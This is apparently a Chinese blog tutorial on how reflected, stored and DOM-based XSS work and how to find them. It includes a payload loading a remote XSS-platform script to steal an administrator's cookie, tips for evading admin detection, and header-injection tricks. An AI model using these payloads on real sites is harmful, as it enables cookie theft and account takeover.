xss漏洞原理分析與挖掘方法

0x01 反射型xss

反射型xss是能挖到的xss中最多的,他的原理如下:

1.黑客發現了一個存在反射型xss的URL

2.查看源碼根據輸出環境構造特定的xss代碼,也會進行編碼縮短代碼,這個可有可無

3.把構造的xss代碼發送給受害者

4.受害者點擊後執行xss代碼

5.完成黑客想要的功能,多是獲取cookie

原理就是這麼個原理,現在看一下怎麼挖掘:

很多工具都可以掃描出反射型xss,但如果想要更隱蔽,或者是某些系統不允許掃描,這個時候就要手工檢測了,這也是最能練技術時候,先說一下工具掃描,常見的掃描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

比如如下網站:

我們在賬戶輸入處輸入whoami,查看源代碼,按下ctrl+f來搜索:whoami,看出現在哪個位置,來構造特定的payload

我么可以構造"> <script>alert(XSS)</script>把前面的<input閉合掉,讓它執行後面的代碼,構造好代碼後把URL變成短鏈接發送給管理員,管理員點擊打開獲取他的cookie登錄

挖掘反射型xss的方法就是這些,手工也是這個方法,只是需要自己去找存在xss漏洞的網站,手工就一句話:見框就插,改數據包中的參數,改URL中的參數,js源代碼分析。

改數據包,js源代碼分析比較深就不再細說了,見框就插就比較好理解了,先在輸入框輸入唯一的字元串,查看源代碼字元串的位置,在輸入 <>""/&()看過濾了什麼,根據過濾的字元來構造特定的xss代碼

0x02存儲型xss

存儲型xss和反射型不同的地方在於他會把輸入的數據保存在服務端,反射型輸入的數據遊走在客戶端

存儲型xss主要存在於留言板評論區,因為最近沒有挖到存儲型xss,所以自己寫了一個留言板用來演示:

點擊留言(這裡最好不要使用<script>alert("xss")</script>來測試是否存在XSS漏洞,容易被管理員發現,所以你可以使用<a></a>來測試,如果成功了,不會被管理員發現)OK,我先在留言里出輸入<a>s</a>提交留言,F12打開審查元素,來看我們輸入的標籤是否被過濾了

發現沒有過濾(如果<a>s</a>是彩色的說明沒有過濾,如果是灰色就說明過濾了)

那我就在xss平台里創建一個項目,然後再次留言,裡面寫上,「<script src="xss8.pw/EFe2Ga?"></script>我想報名「

只要管理員點擊就會獲取管理員cookie和後台地址

0x03 DOM XSS

上面兩種都需要服務端的反饋來構造xss,DOM並不需要與服務端進行交互,是基於javascript的,保存如下代碼為123.html

<script>document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));</script>

在這裡我先解釋下上面的意思

Document.write是把裡面的內容寫到頁面里。

document.URL是獲取URL地址。

Substring 從某處到某處,把之間的內容獲取。

document.URL.indexOf("a=")+2是在當前URL里從開頭檢索a=字元,然後加2(因為a=是兩個字元,我們需要把他略去),同時他也是substring的開始值

document.URL.length是獲取當前URL的長度,同時也是substring的結束值。

合起來的意思就是:在URL獲取a=後面的值,然後把a=後面的值給顯示出來。

怎麼會出現這個問題呢?

因為當前url並沒有a=的字元,而indexOf的特性是,當獲取的值里,如果沒有找到自己要檢索的值的話,返回-1。找到了則返回0。那麼document.URL.indexOf("a=")則為-1,再加上2,得1。然後一直到URL最後。這樣一來,就把file的f字元給略去了,所以才會出現ile:///C:/Users/Administrator/Desktop/1.html

大致的原理都會了,我們繼續下面的

我們可以在123 .html,?a=123或則#a=123,只要不影響前面的路徑,而且保證a=出現在URL就可以了。

我們清楚的看到我們輸入的字元被顯示出來了。

那我們輸入<script>alert("xss")</script>會怎麼樣呢?

答案肯定是彈窗, 但是,這裡沒有彈框,主要是因為瀏覽器過濾了

0×06 挖掘XSS:

挖掘XSS的技巧很多,各式各樣,我這裡就簡要說明下容易出現XSS的地方。

之前說過了修改輸入框和URL參數來實現XSS。我在這裡深入一點說明下。

修改URL參數的時候,你看到的只是用GET來傳輸數據的,還有隱形的數據,他們是用POST來傳輸數據,只有在數據包里才可以看到。這裡不就闡述了,不懂的可以參考之前我寫的利用方法,GET和POST利用方法幾乎一樣。不清楚POST和GET的可以在0×01 前言里查看下我給出的鏈接。

廢話也不說了,下面進入正題。

一:我們都知道當你瀏覽網站的時候,對方的伺服器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這裡說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網頁上的客戶端進行修改。

這裡需要使用firefox瀏覽器和兩個附件

附件一:X-Forwarded-For Header

因為PHP獲取IP有3個函數。而X-Forwarded-For Header就是對其中一個函數X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當然包括字元串,但是對其他兩個函數就不行了。

附件二:Modify Headers

Modify Headers可以偽造數據包內容,當然也可以偽造HTTP_CLIENT_IP來更改IP。

那還有一個REMOTE_ADDR獲取IP函數,這個怎麼修改呢?答案是無法修改。

REMOTE_ADDR是由 nginx 傳遞給 php 的參數,所以就是當前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數來獲取IP,那就沒辦法了。不過不要緊,一共3個函數,2個函數可以偽造,我們還是有很大的成功率的。好了,開始偽造。

偽造好後,我們打開www.ip138.com

成功彈窗了。因為我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是說ip138.com使用的是X_FORWARDED_FOR函數來獲取IP的。但是DZ等著名CMS不存在,他們都過濾了。

參考文章:

web前端黑客技術揭秘學習筆記-XSS漏洞挖掘 - CSDN博客

XSS的原理分析與解剖 - FreeBuf互聯網安全新媒體平台 | 關注黑客與極客

記一次挖掘存儲型XSS漏洞過程 - 即刻安全

推薦閱讀:

關於web滲透,如何才能邁出關鍵的一步?
Intel處理器漏洞Meltdown(熔毀)和Spectre(幽靈)應急處置建議
如何玩轉Intel多款產品提權漏洞?
漏洞之我觀

TAG:滲透測試 | 漏洞挖掘 | Web安全測試 |